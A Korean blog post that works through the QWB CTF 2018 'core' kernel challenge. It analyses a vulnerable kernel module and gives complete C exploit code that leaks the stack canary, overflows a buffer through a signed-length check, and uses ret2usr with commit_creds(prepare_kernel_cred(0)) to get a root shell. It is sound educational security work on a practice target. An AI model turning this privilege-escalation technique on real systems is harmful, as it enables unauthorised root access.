Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[QWB CTF 2018] core 본문

Hack/CTF

[QWB CTF 2018] core

CIDY 2023. 7. 26. 17:08

커널공부 해보려니 이 문제가 ret2usr기법 활용으로 많이 보이는 것 같아서 풀어보기로 했다.

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core

문제 파일은 여기서 다운로드할 수 있다.

 

다운로드해서 압축을 풀어보면 이런 파일들이 들어있다. 

bzImage는 커널 이미지 파일, start.sh는 실행 스크립트, vmlinux는 커널 컴파일 시 생성되는 elf파일로, 심볼이 들어 있다.

여기서 내가 모르는건 core.cpio파일이다. 이 파일은 뭘까?

 

cpio는 아카이브 형태로 파일을 변형하지 않고 압축할 때 쓰인다고 한다.

cpio파일을 압축 해제하는 방법을 검색해보니 어째서인지 .cpio.gz파일을 압축 해제하는 방법이 더 많이 나와서 파일 종류를 보니 실제로 gzip파일이라고 되어 있다. cpio.gz파일인 것 같은데, 다음 명령어로 압축을 해제할 수 있다.

 

zcat core.cpio | cpio -idmv

 

압축을 해제해보면 이렇게 익스해야 할 커널 모듈과 각종 폴더들이 주어지는데, 내부의 파일 트리를 그대로 옮겨둔 것 같다.

 

뭐 어차피 주목해야 할 것은 core.ko이므로 거기에 집중하면 될 것 같다. 

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

우선 부트 스크립트를 확인해보면 보호 기법으로는 kaslr이 걸려 있는 것을 볼 수 있다.(quiet kaslr) 그 외에 smep등이 걸려있지는 않는 듯 하다.

 

우선 init_module함수로, 이 코드는 모듈 로드 시 실행되는 코드이다. /proc/core라는 파일을 등록해준다.

 

그리고 exit_core함수로, 이 코드는 모듈 언로드 시 실행되는 코드이다. 등록을 해제하고 있다.

 

그럼 본격적으로 코드 내용을 살펴보자.

core_ioctl함수를 살펴보면 위와 같이 이루어져 있다. a2를 이용해 스위치문을 수행하는데, 첫 번째 케이스에서 core_read(a3)를 수행한다.

 

core_read함수는 이렇게 생겼다.

뭐 이런 메시지를 출력하고

 

이런 서식문자 문자열도 보인다. 자세한 건 실행해봐야 할듯하다.

 

그런 다음 반복문을 통해 v5버퍼를 초기화하고, Welcome to the QWB CTF challenge라는 문자열을 strcpy한다.

직후에 copy_to_user를 통해 user버퍼로 무언가를 옮긴다. user버퍼는 내가 인자로 주는 버퍼이고, v5버퍼 어딘가의 주소를 제공하고 있는데, off가 어떤 변수인지 잘 모르겠다. 아무튼 거기서부터 64바이트를 옮겨준다. 만약 off가 0이 아니면 여기서 버퍼 이후 커널 공간의 주소가 릭될 수도 있는 부분이다.

 

그런 다음 swapgs를 하는데, 왜 하는지 모르겠다. 하지만 copy_to_user가 복사 실패한 바이트 수를 반환한다는 것을 감안하면, 복사에 실패하지 않는 이상 swapgs를 수행하지 않고 정상 반환됨을 알 수 있다.

 

그럼 두 번째 케이스를 살펴보자. 아마 off는 전역 변수일 것 같은데, off를 내가 준 입력으로 맞추고 있다. 

 

출력하는 문자열은 이건데, 서식문자가 있어서 실행해봐야 알 것 같다.

 

세 번째 케이스문은 이렇게 생겼다. 

출력 문자열은 이거고, copy_ro_func를 수행한다. 

 

a1이 63보다 크면 overflow detect라면서 반환하고, 아니면 qmemcpy를 이용해 name버퍼의 값을 a1만큼 v2로 이동시킨다. 그런데 a1은 signed이므로 간단히 if문 검사를 우회할 수 있다. 즉 overflow를 발생시킬 수 있는 것.

 

그럼 여기서 ret2usr를 이용할 수 있다고 하고, name은 전역 버퍼 같은데 name을 어디서 쓸 수 있을까?

 

core_write라는 함수가 따로 존재했다. a2(유저 버퍼)에서 name버퍼로 a3(내가 설정한 길이, unsigned)만큼 복사해주므로 여기 페이로드를 저장시키면 된다.

 

마지막으로 core release라는 함수인데, 그냥 문자열 출력이다.

 

즉 요약해보면, 

1. ioctl의 두 번째 메뉴에서 off를 높게 설정

2. ioctl의 첫 번째 메뉴에서 커널 주소 릭

3. write함수를 이용해서 name에 ret2usr페이로드 저장

4. ioctl의 세 번째 메뉴에서 언더플로우 취약점으로 ret2usr 실행

으로 익스를 하면 되는 것이다. 

 

뭐랄까 불필요한 구석 없이 익스를 위한 조건이 착착 주어진 문제로, 왜 커널 입문 문제로 유명한지 알겠다.. 그럼 익스코드를 짜러 가보자

 

부트 스크립트를 보면 core.cpio의 파일 트리를 그대로 가져다 사용하므로 컴파일한 내 익스 바이너리를 cpio파일에 포함시켜서 부팅시키면 된다.

 

그리고 gcc컴파일 시 필요한 동적 링크 파일을 찾지 못하는 경우가 있을 수 있는데, 이를 방지하려면 -static옵션으로 컴파일해주면 해결이다.

 

근데 자잘한 문제들이 많이 발생한다.. 우선 부트 스크립트의 64M이 너무 작아서 부팅이 안 됐는데, 256M으로 바꿔주니 해결; 

 

그리고 이 문제에는 친절하게도 gen_cpio라는 스크립트 파일이 들어 있었다. 

 

ls | cpio -o --format=newc > rootfs.cpio
find .| cpio -o --format=newc > /rootfs.cpio

만약 위 스크립트가 없다면 위와 같은 명령어로 만들어줄 수 있다.

 

find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

암튼 이번 문제는 gen_cpio를 이용할 수 있는데, 첫 번째 인자로 cpio파일 이름을 주면 같은 폴더 내 파일들을 알아서 샤샥 압축해주는 좋은 스크립트이다.

 

그리고 cpio파일 내부의 poweroff -d 부분이 자동 종료 시간이라 해서 3000으로 맞춰줬다. setuidgid에 0을 넣은건 루트로 /proc/kallsyms를 읽으려고 한 거였는데, 위에서 친절하게 tmp로 옮겨줘서 굳이 안해줘도 된다.

 

아니 그런데 자꾸 이런 오류가 발생하면서 부팅이 잘 되지 않았다. init이 없다는데 나는 init을 잘 챙겨 넣어줬다..

 

와 원인을 찾았는데 내가 로컬 PC랑 vmware에 링크를 걸어둔 폴더에서 이것저것 해서 애초에 cpio압축 해제도 제대로 되지 않은 상태였다; 

 

그냥 링크 안 걸고 vmware에서 해야 할듯!

 

 

int main(){
    char buf[0x100] = {0};
    int fd = open("/proc/core", O_WRONLY);
    if(ioctl(fd, 0x6677889C, 0x50)){
        printf("[-] SET OFF ERROR\n\n");
        _exit(0);
    }
    if(ioctl(fd, 0x6677889B, buf)){
        printf("[-] READ ERROR\n\n");
        _exit(0);
    }
    for(int i = 0; i < 0x100; i+= 8){
        printf("%#lx\n", *((long *)(&buf[i])));
    }
}

일단 이렇게 짜서 커널 릭까지만 해둔 상태이다. 

 

아 그런데 생각해보면 커널 코드에 카나리가 있었기 때문에 카나리도 같이 릭해줘야 한다! 0x50이 아니라 0x40부터 릭해올 수 있도록 코드를 바꿔야 할듯.

 

코드 수정 시 마다 컴파일 + 파일시스템을 생성 + 부팅 후 테스트를 해줘야 해서 다소 번거롭다; 

 

카나리 + 커널 코드까지 잘 익스되었다. 저걸 받아와서 내가 구하고자 하는 함수들의 오프셋과 맞춰봐야 할듯

 

릭은 정상적으로 되었고, 이제 그럼 함수의 주소를 구하러 가자

 

이렇게 offset을 계산하면 되는 것 아닐까?

 

commit_creds = leak - 0x3f0c18bb

prepare_kernel_cred = leak - 0x3f0c14bb

 

그럼 이제 최종 익스를 하러 가 보자.

 

흠 뭐가 잘 안 돼서 gdb로 좀더 살펴보니 gdb에서는 무조건 두 함수의 주소가 같게 나온다; 다른 방법으로 정확한 주소를 구해야 할 것 같은데, 바로 /proc/kallsyms를 읽는 것이다.

이 파일은 원래 root권한으로 읽을 수 있는데, init스크립트를 보면 /tmp/kallsyms로 친절히 옮겨주었으므로 그냥 읽으면 된다.

 

계산 결과는 이러하다.

 

엇 그런데 오프셋이 자꾸 달라진다.. 뭔가 커널도 다 같은 커널 주소가 아니라 스택 주소 함수 주소 따로 있는건가?

지금은 그냥 릭하지 말고 /proc/kallsyms를 바로 읽는 것이 좋을 것 같다.

 

void* get_kallsyms(char *name)
{
    void *addr;
    char sym[512];

    FILE* fp = fopen("/tmp/kallsyms", O_RDONLY);
    
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) 
    {
        if(strcmp(sym, name) == 0) break;
        else addr = NULL;
    }

    fclose(fp);
    return addr;
}

이런 함수를 작성해서 간단히 kallsyms에서 원하는 함수를 읽어올 수 있다.

 

#include <stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

struct task_struct;
struct cred;

static struct cred* (*prepare_kernel_cred)(struct task_struct * daemon);
static int (*commit_creds)(struct cred* new);
unsigned long long canary;

uint64_t dummy_stack[512] __attribute__((aligned(16)));

void shell(){
    system("/bin/sh");
    _exit(0);
}

void ret2usr(){
    static struct trap_frame {
        void* rip;
        uint64_t cs;
        uint64_t rflags;
        void* rsp;
        uint64_t ss;
    } tf = {
        .rip = &shell,
        .cs = 0x33,
        .rflags = 0x202,
        .rsp = dummy_stack + 512,
        .ss = 0x2b
    };

    volatile register uint64_t RSP asm("rsp");
    commit_creds(prepare_kernel_cred(NULL));
    RSP = (uint64_t)&tf;
    asm volatile(
        "cli\n\t"
        "swapgs\n\t"
        "iretq"
        ::"r" (RSP)
    );
}

void* get_kallsyms(char *name)
{
    void *addr;
    char sym[512];

    FILE* fp = fopen("/tmp/kallsyms", "r");
    
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) 
    {
        if(strcmp(sym, name) == 0) break;
        else addr = NULL;
    }

    fclose(fp);
    return addr;
}

int main(){
    char buf[0x100] = {0};
    char payload[0x100] = {0};

    int fd = open("/proc/core", O_WRONLY);
    if(ioctl(fd, 0x6677889C, 0x40)){
        printf("[-] SET OFF ERROR\n\n");
        _exit(0);
    }
    if(ioctl(fd, 0x6677889B, buf)){
        printf("[-] READ ERROR\n\n");
        _exit(0);
    }

    canary = *((unsigned long long*)(buf));

    printf("[+] CANARY : %#llx\n", canary);

    prepare_kernel_cred = get_kallsyms("prepare_kernel_cred");
    commit_creds = get_kallsyms("commit_creds");

    printf("[+] PREPARE_KERNEL_CRED : %#llx\n", (unsigned long long)prepare_kernel_cred);
    printf("[+] COMMIT_CREDS : %#llx\n", (unsigned long long)commit_creds);

    memset(payload, 'A', 0x40);
    *((unsigned long long*)(payload + 0x40)) = canary;
    memset(payload + 0x48, 'A', 0x8);
    *((uint64_t*)(payload + 0x50)) = (uint64_t)&ret2usr;

    if(write(fd, payload, 0x58) <= 0){
        printf("[-] WRITE ERROR\n\n");
        _exit(0);
    }

    if(ioctl(fd, 0x6677889A, 0x8000000000000058)){
        printf("[-] COPY ERROR\n\n");
        _exit(0);
    }
}

그렇게 완성된 최종 익스코드.. ioctl의 세 번째 인자를 페이로드 길이에 맞춰서 준 이유는, 저렇게 안 하고 그냥 -1주니까 ret2usr함수로 안 넘어가서 그랬다.

 

exploit

루트쉘 획득!

 

첫 커널 익스라 이래저래 삽질도 많이 했지만 뿌듯

'Hack > CTF' 카테고리의 다른 글

[WACON 2023] Write-Up (pwn)  (6) 2023.09.07
[LINE CTF 2021] bank  (0) 2023.08.03
[zer0pts CTF 2023] Himitsu Note  (0) 2023.07.22
[DanteCTF 2023] Write up  (2) 2023.06.05
[DEFCON CTF 2023 Qualifier] Open House(작성중)  (0) 2023.06.02